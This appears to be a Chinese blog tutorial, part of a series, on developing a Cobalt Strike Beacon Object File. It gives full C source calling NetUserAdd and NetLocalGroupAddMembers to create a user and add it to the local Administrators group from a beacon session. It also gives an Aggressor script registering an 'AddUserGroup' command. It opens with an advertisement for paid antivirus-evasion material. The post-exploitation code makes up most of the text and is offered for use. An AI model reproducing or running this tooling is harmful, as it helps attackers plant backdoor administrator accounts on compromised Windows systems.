欢迎加入我的知识星球,目前正在更新免杀相关的东西,129/永久,每100人加29,每周更新2-3篇上千字PDF文档。文档中会详细描述。目前已更新83+ PDF文档
加好友备注(星球)!!!
一些资源的截图:
回顾
上节我们了解CobaltStrike Bof项目的构建以及常见的函数,比如如何去传递参数,判断当前线程是否是管理员权限等等。
那么我们本节课就来开始编写Bof项目。
还记的我们上节课讲的传递参数吗?我在做测试的时候发现直接使用bof去传递参数是无法成功的。
所以我们需要配合cna脚本来使用。
添加用户相关的API函数
那么我们首先来编写添加用户的Bof吧。
我们首先需要去了解两个关于添加用户的Windows API函数。
分别是NetUserAdd和NetLocalGroupAddMembers函数。
NetUserAdd
NetUserAdd函数是用于Windows操作系统上添加用户账户的函数。
函数原型如下:
NET_API_STATUS NetUserAdd(
LPCWSTR servername,
DWORD level,
LPBYTE buf,
LPDWORD parm_err
);
servername参数指向一个指定目标计算机名的Unicode字符串,如果为NULL的话,那么就在本地计算机上执行该函数。
level指向的是信息的级别,常用的级别为1或2,他们分别对应 USER_INFO_1
和 USER_INFO_2
结构。
buf参数指向一个包含用户信息的缓冲区,缓冲区的格式是由level参数来决定的。
parm_err参数指向一个返回错误索引的变量,如果此参数为空的话,并且函数返回ERROR_INVALID_PARAMETER,则无法确定那个参数无效。
如果函数执行成功的话,那么就返回NERR_Success,否则返回错误信息。
NetLocalGroupAddMembers
NetLocalGroupAddMembers函数用于将用户添加到本地组。
函数原型如下:
NET_API_STATUS NetLocalGroupAddMembers(
LPCWSTR servername,
LPCWSTR groupname,
DWORD level,
LPBYTE buf,
DWORD totalentries
);
servername参数指向一个指定目标计算机名的Unicode字符串,如果为NULL的话,那么就在本地计算机上执行该函数。
groupname参数指向一个包含本地组名称的Unicode字符串。
level参数指定的是信息的级别,常用的级别为0和3,他们分别对应 LOCALGROUP_MEMBERS_INFO_0
和 LOCALGROUP_MEMBERS_INFO_3
结构。
buf参数指向一个包含用户信息的缓冲区,缓冲区的格式是由level参数来决定的。
totalentries指向的是缓冲区中的成员数量。
编写Bof
那么我们接下来就开始去编写Bof了。
那么我们回顾一下,当时如果我们想去或者到NT API中的一些函数并调用的话,我们是不是通过GetModuleHandleA来获取到模块的基址,然后通过GetProcAddress函数来获取到函数的基址。
我们当时是不是还定义了目标函数的原型对吧。
那么编写Bof也是一样的,我们首先需要去定义要使用的Windows API函数的原型。
那么定义原型就非常简单了,我们只需要去参考beacon.h头文件中的定义方式即可。
如下定义NetUserAdd和NetLocalGroupAddMembers函数的原型。
typedef DWORD NET_API_STATUS;
DECLSPEC_IMPORT NET_API_STATUS WINAPI NETAPI32$NetUserAdd(LPWSTR, DWORD, PBYTE, PDWORD);
DECLSPEC_IMPORT NET_API_STATUS WINAPI NETAPI32$NetLocalGroupAddMembers(LPCWSTR, LPCWSTR, DWORD, PBYTE, DWORD);
我们来解释一下这些代码。
DECLSPEC_IMPORT宏告诉编译器函数或变量是从DLL中导入的,在这里的话NetUserAdd函数是从NETAPI32.DLL中导入的。
NET_API_STATUS是在Windows头文件中定义的typedef,他代表一个整数类型,用于API函数返回的状态,其中NT_API_STATUS通常表示与网络操作相关的成功或者失败。
NETAPI32$NetUserAdd是函数在NETAPI32.DLL中的修饰名称。
其实上面的函数的声明是在CobaltStrike中定义的,用于去调用NetUserAdd和NetLocalGroupAddMembers函数。
那么函数的原型定义完之后,我们首先去判断当前的线程是否是管理员的权限,因为我们要添加用户,需要管理员的权限。
if (!BeaconIsAdmin()) {
BeaconPrintf(CALLBACK_OUTPUT, "当前线程不是管理员的权限");
return;
}
紧接着我们就需要去接收参数了,因为我们需要传递用户名和密码。
首先我们需要定义datap结构,然后通过BeaconDataParse来创建解析器。
datap parser;
BeaconDataParse(&parser, args, len);
wchar_t * username = (wchar_t *)BeaconDataExtract(&parser, NULL);
wchar_t * password; = (wchar_t *)BeaconDataExtract(&parser, NULL);
获取到账号和密码之后就可以来进行使用了。
紧接着我们要使用NetUserAdd函数的话,我们就需要去初始化USER_INFO_1结构。
USER_INFO_1 UserInfo;
UserInfo.usri1_name = username;
UserInfo.usri1_password = password;
UserInfo.usri1_priv = USER_PRIV_USER;
UserInfo.usri1_home_dir = NULL;
UserInfo.usri1_comment = NULL;
UserInfo.usri1_flags = UF_SCRIPT;
UserInfo.usri1_script_path = NULL;
然后就可以去调用NETAPI32$NetUserAdd函数了。
因为我们给的level参数的等级为1,所以这也就是为什么我们上面去定义USER_INFO_1结构了。
DWORD dwLevel = 1;
DWORD dwError = 0;
NET_API_STATUS nStatus = NETAPI32$NetUserAdd(
NULL,
dwLevel,
(LPBYTE)&UserInfo,
&dwError
);
然后我们就需要将用户添加的目标的管理员组中。
首先我们需要定义的是NetLocalGroupAddMembers的第二个参数,也就是你要添加到那个组中,一般我们会添加到administrator组中。
然后就是第三个参数也就是信息的等级,我们给定3等级即可,等级3对应的就是LOCALGROUP_MEMBERS_INFO_3结构,所以我们需要去定义LOCALGROUP_MEMBERS_INFO_3结构。
LOCALGROUP_MEMBERS_INFO_3 accountName;
accountName.lgrmi3_domainandname = UserInfo.usri1_name;
NET_API_STATUS aStatus;
aStatus = NETAPI32$NetLocalGroupAddMembers(NULL, L"Administrators", 3, (LPBYTE)&accountName, 1);
这样其实就可以了。
完整代码如下:
#include <windows.h>
#include <stdio.h>
#include <lm.h>
#include "beacon.h"
typedef DWORD NET_API_STATUS;
DECLSPEC_IMPORT NET_API_STATUS WINAPI NETAPI32$NetUserAdd(LPWSTR, DWORD, PBYTE, PDWORD);
DECLSPEC_IMPORT NET_API_STATUS WINAPI NETAPI32$NetLocalGroupAddMembers(LPCWSTR, LPCWSTR, DWORD, PBYTE, DWORD);
void go(char* args, int len) {
if (!BeaconIsAdmin()) {
BeaconPrintf(CALLBACK_OUTPUT, "当前线程不是管理员的权限");
return;
}
datap parser;
BeaconDataParse(&parser, args, len);
wchar_t* username = (wchar_t*)BeaconDataExtract(&parser, NULL);
wchar_t* password = (wchar_t*)BeaconDataExtract(&parser, NULL);
if (username == NULL || password == NULL) {
BeaconPrintf(CALLBACK_ERROR, "账户和密码为空n");
return;
}
BeaconPrintf(CALLBACK_OUTPUT, "username: %lsn", username);
BeaconPrintf(CALLBACK_OUTPUT, "password: %lsn", password);
USER_INFO_1 UserInfo;
UserInfo.usri1_name = username;
UserInfo.usri1_password = password;
UserInfo.usri1_priv = USER_PRIV_USER;
UserInfo.usri1_home_dir = NULL;
UserInfo.usri1_comment = NULL;
UserInfo.usri1_flags = UF_SCRIPT;
UserInfo.usri1_script_path = NULL;
DWORD dwLevel = 1;
DWORD dwError = 0;
NET_API_STATUS status = NETAPI32$NetUserAdd(
NULL,
dwLevel,
(LPBYTE)&UserInfo,
&dwError
);
if (status == NERR_Success) {
BeaconPrintf(CALLBACK_OUTPUT, "Success", username);
}
else {
BeaconPrintf(CALLBACK_OUTPUT, "Error", status);
}
LOCALGROUP_MEMBERS_INFO_3 accountName;
accountName.lgrmi3_domainandname = UserInfo.usri1_name;
NET_API_STATUS aStatus;
aStatus = NETAPI32$NetLocalGroupAddMembers(NULL, L"Administrators", 3, (LPBYTE)&accountName, 1);
if (aStatus == NERR_Success) {
BeaconPrintf(CALLBACK_OUTPUT, "成功将用户添加到管理员组中", NULL);
}
else {
BeaconPrintf(CALLBACK_OUTPUT, "添加管理员失败", NULL);
}
}
编写cna文件
紧接着我们就需要去编写cna文件了。
之前我在b站发过一期cna文件的编写。
如下:
https://www.bilibili.com/video/BV1JU4y167KG/?spm_id_from=333.999.0.0
有空的话大家可以看一下。
首先我们需要注册一个命令,注册命令的意思就是在CobaltStrike Beacon控制台中,像shell,run这一类命令。
注册命令需要使用到beacon_command_register。
beacon_command_register(
"AddUserGroup",
"添加用户以及到管理员组中",
"Command: AddUserGroup <username> <password>"
);
紧接着我们就需要从Beacon控制台的命令行去获取到参数了。
这里的alias是定义命令的别名,也就是说当我们在Beacon命令行窗口去执行AddUserGroup命令的时候就会执行这个代码块中的代码。
alias AddUserGroup{
$username = $2;
$password = $3;
}
接收到参数之后我们就要开始去读取Bof文件了。
这里需要使用到script_resource函数,script_resource函数会去读取我们编写的Bof文件,然后返回一个文件句柄。
首先去声明局部变量。
local('$barch$handle$data$args');
//获取当前系统的架构
$barch = barch($1);
$handle = openf(script_resource("source. $+ $barch $+ .obj"));
$data = readb($handle, -1);
closef($handle);
这样的话读取的其实就是souce.x86.obj或source.x64.obj
读取之后使用bof_pack函数将用户名和密码打包成Bof函数可以理解的格式,这里的ZZ表示两个字符串参数。
$args = bof_pack($1, "ZZ", $username, $password);
beacon_inline_execute($1, $data, "go", $args);
这里的$1表示回话的ID,data表示Bof的数据,go表示入口点函数名,args表示打包的参数。
完整代码如下:
beacon_command_register(
"AddUserGroup",
"添加用户以及到管理员组中",
"Command: AddUserGroup <username> <password>"
);
alias AddUserGroup{
local('$barch $handle $data $args');
$username = $2;
$password = $3;
$barch = barch($1);
$handle = openf(script_resource("source. $+ $barch $+ .obj"));
$data = readb($handle, -1);
closef($handle);
$args = bof_pack($1, "ZZ", $username, $password);
beacon_inline_execute($1, $data, "go", $args);
}
紧接着我们将souce.x64.obj和cna文件放在同一个目录即可。
可以看到成功添加。
原文始发于微信公众号(Relay学安全):CobaltStrike Bof开发(2)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论